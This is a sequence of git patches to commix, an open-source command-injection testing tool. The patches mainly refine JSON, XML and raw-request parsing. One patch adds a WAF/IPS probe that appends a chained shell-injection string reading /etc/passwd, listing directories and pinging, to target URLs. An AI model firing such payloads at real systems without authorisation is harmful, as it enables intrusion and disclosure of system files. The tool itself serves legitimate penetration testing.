1 From e74fe6ed5a2e55ed3d3af7f0cd7724c8112d5173 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 22 Feb 2024 08:39:25 +0200 Subject: [PATCH 397/560] Improvement regarding (basic) heuristic detection of WAF/IPS protection. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 31 ++++++++++++++++++++---- src/core/main.py | 6 ++++- src/utils/menu.py | 2 +- src/utils/settings.py | 9 ++++--- 5 files changed, 38 insertions(+), 11 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 7a7a369f16..1ae69bbd09 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvement regarding (basic) heuristic detection of WAF/IPS protection. * Revised: Improvement regarding option `--ignore-code` for ignoring multiple (problematic) HTTP error codes. * Added: New option `--abort-code` for aborting on (problematic) HTTP error code(s) (e.g. 401) * Added: New option `--time-limit` for running with a time limit in seconds (e.g. 3600). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7e0051c462..9c43ba7826 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -61,6 +61,28 @@ def exit(): print(settings.execution("Ending")) os._exit(0) +""" +Detection of WAF/IPS protection. +""" +def check_waf(url): + payload = _urllib.parse.quote(settings.WAF_CHECK_PAYLOAD) + info_msg = "Checking if the target is protected by some kind of WAF/IPS." + print(settings.print_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL >= 1: + print(settings.print_payload(payload)) + payload = "".join(random.choices(string.ascii_uppercase, k=4)) + "=" + payload + if not "?" in url: + payload = "?" + payload + else: + payload = settings.PARAMETER_DELIMITER + payload + url = url + payload + if menu.options.data: + settings.USER_DEFINED_POST_DATA = menu.options.data + request = _urllib.request.Request(url, menu.options.data.encode()) + else: + request = _urllib.request.Request(url) + return request, url + """ Check injection technique(s) status. """ @@ -765,17 +787,16 @@ def continue_tests(err): # Ignoring (problematic) HTTP error codes. if len(settings.IGNORE_CODE) != 0 and any(str(x) in str(err).lower() for x in settings.IGNORE_CODE): return True - + # Possible WAF/IPS/IDS try: if (str(err.code) == settings.FORBIDDEN_ERROR or \ str(err.code) == settings.NOT_ACCEPTABLE_ERROR) and \ not menu.options.skip_waf and \ not settings.HOST_INJECTION : - # Check if "--skip-waf" option is defined (to skip heuristic detection of WAF/IPS/IDS protection). - settings.WAF_ENABLED = True - warn_msg = "It seems that target is protected by some kind of WAF/IPS/IDS." + warn_msg = "It seems that target is protected by some kind of WAF/IPS." print(settings.print_warning_msg(warn_msg)) + settings.WAF_ENABLED = True while True: message = "Do you want to ignore the response HTTP error code '" + str(err.code) @@ -2154,7 +2175,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi pass except IndexError: # print(settings.SINGLE_WHITESPACE) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" + warn_msg = "Some kind of WAF/IPS probably blocks the attempt to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate operating system users." print(settings.print_warning_msg(warn_msg)) pass diff --git a/src/core/main.py b/src/core/main.py index dcd733cce3..281d67c37d 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -194,7 +194,7 @@ def init_request(url): debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." print(settings.print_debug_msg(debug_msg)) return request - + """ Get the URL response. """ @@ -219,6 +219,10 @@ def url_response(url): redirect_url = redirection.do_check(request, url, response.geturl()) if redirect_url is not None: url = redirect_url + if not menu.options.skip_waf: + waf_request, waf_url = checks.check_waf(url) + headers.do_check(waf_request) + examine_request(waf_request, waf_url) return response, url """ diff --git a/src/utils/menu.py b/src/utils/menu.py index fee84d343b..679a0a636a 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -606,7 +606,7 @@ def banner(): action="store_true", dest="skip_waf", default=False, - help="Skip heuristic detection of WAF/IPS/IDS protection.") + help="Skip heuristic detection of WAF/IPS protection.") misc.add_option("--mobile", action="store_true", diff --git a/src/utils/settings.py b/src/utils/settings.py index 9fc84da8d2..0a011da2ae 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "5" +REVISION = "6" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -311,6 +311,10 @@ def sys_argv_errors(): CMD_NUL = "" +# Maybe a WAF/IPS protection. +WAF_CHECK_PAYLOAD = "cat /etc/passwd|uname&&ping -c3 localhost;ls ../" +WAF_ENABLED = False + class HEURISTIC_TEST(object): POSITIVE = True @@ -985,9 +989,6 @@ class OS(object): URIPATH = "/" SRVPORT = 8080 -# Maybe a WAF/IPS/IDS protection. -WAF_ENABLED = False - # Session Handler SESSION_FILE = "" LOAD_SESSION = None From 2efefe28fc71df8827223761776907400d0d2f90 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 23 Feb 2024 08:44:40 +0200 Subject: [PATCH 398/560] Minor update --- src/core/main.py | 10 +++++----- src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 281d67c37d..a7de6d7c5f 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -157,8 +157,6 @@ def check_internet(url): The init (URL) request. """ def init_request(url): - # Check connection(s) - checks.check_connection(url) # Number of seconds to wait before timeout connection if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP timeout." @@ -193,6 +191,8 @@ def init_request(url): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." print(settings.print_debug_msg(debug_msg)) + # Check connection(s) + checks.check_connection(url) return request """ @@ -206,12 +206,12 @@ def url_response(url): settings.TOR_CHECK_AGAIN = False # initiate total of requests settings.TOTAL_OF_REQUESTS = 0 - if settings.INIT_TEST == True: - info_msg = "Testing connection to the target URL. " - print(settings.print_bold_info_msg(info_msg)) request = init_request(url) if settings.CHECK_INTERNET: settings.CHECK_INTERNET = False + if settings.INIT_TEST == True: + info_msg = "Testing connection to the target URL. " + print(settings.print_bold_info_msg(info_msg)) response = examine_request(request, url) # Check for URL redirection if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: diff --git a/src/utils/settings.py b/src/utils/settings.py index 0a011da2ae..4eab06f738 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "6" +REVISION = "7" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 72f612938768c276abbe38e94b3f6a4275558e04 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 26 Feb 2024 09:30:41 +0200 Subject: [PATCH 399/560] Minor update --- src/core/requests/requests.py | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 48e4066293..41fa83d33e 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -96,11 +96,11 @@ def estimate_response_time(url, timesec): except _urllib.error.HTTPError as err: ignore_start = time.time() + if settings.VERBOSITY_LEVEL != 0: + print(settings.SINGLE_WHITESPACE) if settings.UNAUTHORIZED_ERROR in str(err) and int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: pass else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) err_msg = "Unable to connect to the target URL" try: err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." diff --git a/src/utils/settings.py b/src/utils/settings.py index 4eab06f738..b11fe850db 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "7" +REVISION = "8" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From da366da3e5fad8ba53075cc30f05ec509d964763 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 29 Feb 2024 09:23:12 +0200 Subject: [PATCH 400/560] Minor update regarding commit: https://github.com/commixproject/commix/commit/e74fe6ed5a2e55ed3d3af7f0cd7724c8112d5173 --- src/core/injections/controller/checks.py | 2 +- src/core/main.py | 2 ++ src/core/requests/requests.py | 4 +++- src/utils/settings.py | 3 ++- 4 files changed, 8 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 9c43ba7826..18a92f0d90 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -788,7 +788,7 @@ def continue_tests(err): if len(settings.IGNORE_CODE) != 0 and any(str(x) in str(err).lower() for x in settings.IGNORE_CODE): return True - # Possible WAF/IPS/IDS + # Possible WAF/IPS try: if (str(err.code) == settings.FORBIDDEN_ERROR or \ str(err.code) == settings.NOT_ACCEPTABLE_ERROR) and \ diff --git a/src/core/main.py b/src/core/main.py index a7de6d7c5f..2364279bf1 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -220,9 +220,11 @@ def url_response(url): if redirect_url is not None: url = redirect_url if not menu.options.skip_waf: + settings.WAF_DETECTION_PHASE = True waf_request, waf_url = checks.check_waf(url) headers.do_check(waf_request) examine_request(waf_request, waf_url) + settings.WAF_DETECTION_PHASE = False return response, url """ diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 41fa83d33e..442201a737 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -316,7 +316,9 @@ def request_failed(err_msg): return False elif settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): - if int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE or settings.PERFORM_CRACKING: + if int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE or \ + settings.PERFORM_CRACKING or \ + settings.WAF_DETECTION_PHASE: return False else: err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). " diff --git a/src/utils/settings.py b/src/utils/settings.py index b11fe850db..b6ff8acfa6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "8" +REVISION = "9" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -400,6 +400,7 @@ class OS(object): DISABLED_CONTENT_EXTENSIONS = (".py", ".pyc", ".md", ".txt", ".bak", ".conf", ".zip", "~") # Detection / Exploitation phase(s) +WAF_DETECTION_PHASE = False DETECTION_PHASE = False EXPLOITATION_PHASE = False From b271b96262bd7481754a64f6f20342cf0f32a4fe Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 1 Mar 2024 08:30:34 +0200 Subject: [PATCH 401/560] Minor update --- src/core/injections/controller/checks.py | 8 ++++---- src/core/requests/headers.py | 2 +- src/utils/purge.py | 2 +- src/utils/settings.py | 2 +- 4 files changed, 7 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 18a92f0d90..c76b1c4c61 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -229,7 +229,7 @@ def alert(): try: process = subprocess.Popen(menu.options.alert, shell=True) process.wait() - except Exception as ex: + except Exception as e: err_msg = "Error occurred while executing command(s) '" + str(menu.options.alert) + "'." print(settings.print_error_msg(err_msg)) @@ -363,7 +363,7 @@ def load_cmd_history(): def get_value_inside_boundaries(value): try: value = re.search(settings.VALUE_BOUNDARIES, value).group(1) - except Exception as ex: + except Exception as e: pass return value @@ -435,7 +435,7 @@ def PCRE_e_modifier(parameter, http_request_method): else: common.invalid_option(modifier_check) pass - except Exception as ex: + except Exception as e: pass return parameter @@ -671,7 +671,7 @@ def check_injection_level(): if any(x in menu.options.test_parameter for x in settings.HTTP_HEADERS): menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - except Exception as ex: + except Exception as e: return diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index cc603342e4..d328e5d8b5 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -233,7 +233,7 @@ def https_open(self, req): if err.fp is None: raise AttributeError page = checks.page_encoding(err, action="encode") - except Exception as ex: + except Exception as e: page = '' print_http_response(err.info(), err.code, page) diff --git a/src/utils/purge.py b/src/utils/purge.py index 50b7e8d887..9d01169288 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -157,7 +157,7 @@ def purge(): failed = False os.chdir(os.path.join(directory, "..")) shutil.rmtree(directory) - except OSError as ex: + except OSError as e: failed = True if not failed: print(settings.SINGLE_WHITESPACE) diff --git a/src/utils/settings.py b/src/utils/settings.py index b6ff8acfa6..b5ae1f112d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "9" +REVISION = "10" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From eefa0c16c05109b6dee7d0bad6448b8a69c09f5f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 4 Mar 2024 08:10:29 +0200 Subject: [PATCH 402/560] Fixes https://github.com/commixproject/commix/issues/893 --- src/core/requests/parameters.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 3f0fc84805..68bb00c03e 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -374,7 +374,7 @@ def vuln_POST_param(parameter, url): except Exception: pass settings.TESTABLE_VALUE = vuln_parameter[0].split(":")[1] - vuln_parameter = ''.join(result) + vuln_parameter = ''.join(result) # XML data format. elif settings.IS_XML: From 4b7b6034298d0a11d719700a28cc404ad0af5427 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 11 Mar 2024 09:08:09 +0200 Subject: [PATCH 403/560] Code refactoring regarding parsing JSON objects --- src/core/injections/controller/checks.py | 21 ++++---------------- src/core/requests/parameters.py | 25 +++++++++++------------- src/utils/settings.py | 5 +++-- 3 files changed, 18 insertions(+), 33 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c76b1c4c61..fa0ded0afe 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1718,19 +1718,8 @@ def is_empty(multi_parameters, http_request_method): for empty in multi_params: try: if settings.IS_JSON: - try: - param = re.sub("[^/()A-Za-z0-9.:,_]+", '', str(multi_params[empty])) - if "(" and ")" in param: - param = re.findall(r'\((.*)\)', param) - for value in param[0].split(","): - if value.split(":")[1] == "": - empty_parameters.append(value.split(":")[0]) - elif len(str(multi_params[empty])) == 0 : - empty_parameters.append(empty) - except TypeError: - # warn_msg = "The provided value for parameter '" + str(empty) + "' seems unusable." - # print(settings.print_warning_msg(warn_msg)) - pass + if len(str(multi_params[empty])) == 0 : + empty_parameters.append(empty) elif settings.IS_XML: if re.findall(r'>(.*)<', empty)[0] == "" or \ re.findall(r'>(.*)<', empty)[0] == settings.SINGLE_WHITESPACE: @@ -1738,7 +1727,7 @@ def is_empty(multi_parameters, http_request_method): elif len(empty.split("=")[1]) == 0: empty_parameters.append(empty.split("=")[0]) except IndexError: - if not settings.IS_XML: + if not settings.IS_XML and not settings.IS_JSON: err_msg = "No parameter(s) found for testing in the provided data." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1804,9 +1793,7 @@ def check_quotes_json_data(data): def is_JSON_check(parameter): try: json_object = json.loads(parameter) - if re.search(settings.JSON_RECOGNITION_REGEX, parameter) or \ - re.search(settings.JSON_LIKE_RECOGNITION_REGEX, parameter): - return True + return True except ValueError as err_msg: _ = False if "Expecting" in str(err_msg) and any(_ in str(err_msg) for _ in ("value", "delimiter")): diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 68bb00c03e..9a509474f7 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -204,7 +204,7 @@ def do_POST_check(parameter, http_request_method): def multi_params_get_value(param, all_params): if settings.IS_JSON: value = re.findall(r'\:(.*)', all_params[param]) - value = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', ''.join(value)) + value = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', ''.join(value)) elif settings.IS_XML: value = re.findall(r'>(.*) Date: Fri, 15 Mar 2024 07:54:19 +0200 Subject: [PATCH 404/560] Improvement regarding parsing JSON nested objects --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 8 +- src/core/requests/parameters.py | 106 ++++++++++++++++---- src/thirdparty/flatten_json/flatten_json.py | 4 +- src/utils/settings.py | 4 +- 5 files changed, 98 insertions(+), 25 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 1ae69bbd09..70393986ae 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvement regarding parsing JSON nested objects. * Revised: Improvement regarding (basic) heuristic detection of WAF/IPS protection. * Revised: Improvement regarding option `--ignore-code` for ignoring multiple (problematic) HTTP error codes. * Added: New option `--abort-code` for aborting on (problematic) HTTP error code(s) (e.g. 401) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index fa0ded0afe..e8601e7636 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -92,6 +92,12 @@ def injection_techniques_status(): else: return True +""" +Check for quoted values +""" +def quoted_value(value): + return '"{}"'.format(value) + """ Check for custom injection marker (*) """ @@ -1792,7 +1798,7 @@ def check_quotes_json_data(data): # Check if valid JSON def is_JSON_check(parameter): try: - json_object = json.loads(parameter) + json_object = json.loads(parameter.replace(settings.INJECT_TAG,"")) return True except ValueError as err_msg: _ = False diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 9a509474f7..db7ea6486c 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -16,11 +16,14 @@ import re import os import sys +import json from src.utils import menu from src.utils import settings from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init +from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list +from src.thirdparty.odict import OrderedDict """ Get the URL part of the defined URL. @@ -204,7 +207,15 @@ def do_POST_check(parameter, http_request_method): def multi_params_get_value(param, all_params): if settings.IS_JSON: value = re.findall(r'\:(.*)', all_params[param]) - value = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', ''.join(value)) + if not value: + value = all_params[param] + value = ''.join(value) + if value.endswith("\"}"): + value = (value[:-len("}")]) + if checks.quoted_value(value) and any(_ in "[]{}" for _ in value): + value = value.replace("\"","") + else: + value = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', value) elif settings.IS_XML: value = re.findall(r'>(.*)(.*) Date: Tue, 19 Mar 2024 07:50:27 +0200 Subject: [PATCH 405/560] Improvement regarding parsing raw HTTP request from a file (i.e. `-r` option) --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 7 ++-- src/core/injections/controller/parser.py | 45 ++++++++---------------- src/utils/settings.py | 2 +- 4 files changed, 22 insertions(+), 33 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 70393986ae..a2e7891495 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). * Revised: Improvement regarding parsing JSON nested objects. * Revised: Improvement regarding (basic) heuristic detection of WAF/IPS protection. * Revised: Improvement regarding option `--ignore-code` for ignoring multiple (problematic) HTTP error codes. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e8601e7636..e3c19d0491 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1724,8 +1724,11 @@ def is_empty(multi_parameters, http_request_method): for empty in multi_params: try: if settings.IS_JSON: - if len(str(multi_params[empty])) == 0 : - empty_parameters.append(empty) + try: + if len(str(multi_params[empty])) == 0 : + empty_parameters.append(empty) + except TypeError: + pass elif settings.IS_XML: if re.findall(r'>(.*)<', empty)[0] == "" or \ re.findall(r'>(.*)<', empty)[0] == settings.SINGLE_WHITESPACE: diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 620a20415c..84ca9ad1af 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -72,20 +72,26 @@ def invalid_data(request): raise SystemExit() try: - if menu.options.requestfile: - with open(request_file, 'r') as file: - settings.RAW_HTTP_HEADERS = [line.strip() for line in file] - settings.RAW_HTTP_HEADERS = [header for header in settings.RAW_HTTP_HEADERS if header] - settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[1:] - settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[:-1] - settings.RAW_HTTP_HEADERS = '\\n'.join(settings.RAW_HTTP_HEADERS) - if os.stat(request_file).st_size != 0: with open(request_file, 'r') as file: request = file.read() else: invalid_data(request_file) + if menu.options.requestfile: + c = 1 + request_headers = [] + request_lines = request.split("\n") + while c < len(request_lines) and len(request_lines[c]) > 0: + x = request_lines[c].find(':') + header_name = request_lines[c][:x] + header_value = request_lines[c][x + 1:] + request_headers.append(header_name + ": " + header_value) + c += 1 + c += 1 + menu.options.data = "".join(request_lines[c:] if c < len(request_lines) else invalid_data(request_file)) + settings.RAW_HTTP_HEADERS = '\\n'.join(request_headers) + except IOError as err_msg: error_msg = "The '" + request_file + "' " error_msg += str(err_msg.args[1]).lower() + "." @@ -108,28 +114,7 @@ def invalid_data(request): request = request.replace("\\n","\n") request_url = re.findall(r"" + " (.*) HTTP/", request) - if request_url: - try: - # Check empty line for POST data. - if len(request.splitlines()[-2]) == 0: - result = [item for item in request.splitlines() if item] - multiple_xml = [] - for item in result: - if checks.is_XML_check(item): - multiple_xml.append(item) - if len(multiple_xml) != 0: - menu.options.data = '\n'.join([str(item) for item in multiple_xml]) - else: - menu.options.data = result[len(result)-1] - else: - # Check if url ends with "=". - if request_url[0].endswith("="): - request_url = request_url[0].replace("=","=" + settings.INJECT_TAG, 1) - except IndexError: - invalid_data(request_file) - - # Check if invalid data - else: + if not request_url: invalid_data(request_file) request_url = "".join([str(i) for i in request_url]) diff --git a/src/utils/settings.py b/src/utils/settings.py index 44210f01ac..e25675c656 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "12" +REVISION = "13" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 2da779705ca05745c4bc13d026391d6ecf131690 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 20 Mar 2024 07:13:37 +0200 Subject: [PATCH 406/560] Minor update --- src/core/injections/controller/checks.py | 10 +++++++--- src/core/injections/controller/controller.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 9 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e3c19d0491..f1b289411c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1848,13 +1848,17 @@ def inappropriate_format(multi_parameters): def check_similarities(all_params): if settings.IS_JSON: try: + _ = "".join(random.choices(string.ascii_uppercase, k=6)) all_params = ','.join(all_params) json_data = json.loads(all_params, object_pairs_hook=OrderedDict) all_params = flatten(json_data) for param in all_params: - if type(all_params[param]) is str and all_params[param] in param: - all_params[param] = all_params[param] + settings.RANDOM_TAG - all_params = [x.replace(settings.SINGLE_WHITESPACE, "") for x in json.dumps(all_params).split(", ")] + if isinstance(all_params[param], str): + if all_params[param] in param: + all_params[param] = all_params[param] + settings.RANDOM_TAG + if settings.SINGLE_WHITESPACE in all_params[param]: + all_params[param] = all_params[param].replace(settings.SINGLE_WHITESPACE, _) + all_params = [x.replace(settings.SINGLE_WHITESPACE, "").replace(_ ,settings.SINGLE_WHITESPACE) for x in json.dumps(all_params).split(", ")] except Exception as e: pass else: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index be5634fd4c..15bc29545c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -588,7 +588,7 @@ def post_request(url, http_request_method, filename, timesec): found_parameter_list.append(found_parameter) found_parameter = found_parameter_list - if settings.IS_XML: + if settings.IS_XML or settings.IS_JSON: # Remove junk data found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x] else: diff --git a/src/utils/settings.py b/src/utils/settings.py index e25675c656..f9b8419c8c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "13" +REVISION = "14" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From df7b0f77dfc13295d0dd085403b6b3ea9ea044d7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 21 Mar 2024 08:58:36 +0200 Subject: [PATCH 407/560] Minor update --- src/core/injections/controller/controller.py | 8 +++----- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 6 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 15bc29545c..d02e50ea77 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -297,7 +297,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.CHECKING_PARAMETER = "" if not header_name == "Cookie" and not the_type == "HTTP header": settings.CHECKING_PARAMETER = str(http_request_method) - settings.CHECKING_PARAMETER += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML] if header_name == "Cookie" : settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(check_parameter) else: @@ -366,10 +366,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # All injection techniques seems to be failed! if checks.injection_techniques_status() == False: - warn_msg = "The tested" - if header_name != " cookie" and the_type != " HTTP header": - warn_msg += " " + str(http_request_method) + "" - warn_msg += str(the_type) + str(header_name) + str(check_parameter) + warn_msg = "The tested " + warn_msg += settings.CHECKING_PARAMETER warn_msg += " does not seem to be injectable." print(settings.print_bold_warning_msg(warn_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index f9b8419c8c..047cf6d9c7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "14" +REVISION = "15" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f26a8670f8e8b71f146eb8c4887e13f4ae9b25c8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 22 Mar 2024 09:12:32 +0200 Subject: [PATCH 408/560] Minor update --- src/core/injections/controller/checks.py | 10 ++++------ src/core/requests/parameters.py | 7 +++---- src/utils/settings.py | 2 +- 3 files changed, 8 insertions(+), 11 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f1b289411c..793dd2345e 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1782,10 +1782,9 @@ def process_xml_data(): message += " Do you want to process it? [Y/n] > " xml_process = common.read_input(message, default="Y", check_batch=True) if xml_process in settings.CHOICE_YES: - settings.IS_XML = True - break + return True elif xml_process in settings.CHOICE_NO: - break + return False elif xml_process in settings.CHOICE_QUIT: raise SystemExit() else: @@ -1822,10 +1821,9 @@ def process_json_data(): message += " Do you want to process it? [Y/n] > " json_process = common.read_input(message, default="Y", check_batch=True) if json_process in settings.CHOICE_YES: - settings.IS_JSON = True - break + return True elif json_process in settings.CHOICE_NO: - break + return False elif json_process in settings.CHOICE_QUIT: raise SystemExit() else: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index db7ea6486c..5755ba6625 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -270,16 +270,15 @@ def json_format(parameter): checks.check_injection_level() # Check if JSON Object. if checks.is_JSON_check(parameter) or checks.is_JSON_check(checks.check_quotes_json_data(parameter)): - if checks.is_JSON_check(checks.check_quotes_json_data(parameter)): parameter = checks.check_quotes_json_data(parameter) if not settings.IS_JSON: - checks.process_json_data() + settings.IS_JSON = checks.process_json_data() settings.PARAMETER_DELIMITER = "," # Check if XML Object. elif checks.is_XML_check(parameter): if not settings.IS_XML: - checks.process_xml_data() + settings.IS_XML = checks.process_xml_data() settings.PARAMETER_DELIMITER = "" else: pass @@ -304,7 +303,7 @@ def json_format(parameter): if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \ not settings.IS_JSON and \ not settings.IS_XML: - checks.inappropriate_format(multi_parameters) + raise SystemExit() for param in range(len(multi_parameters)): multi_parameters[param] = 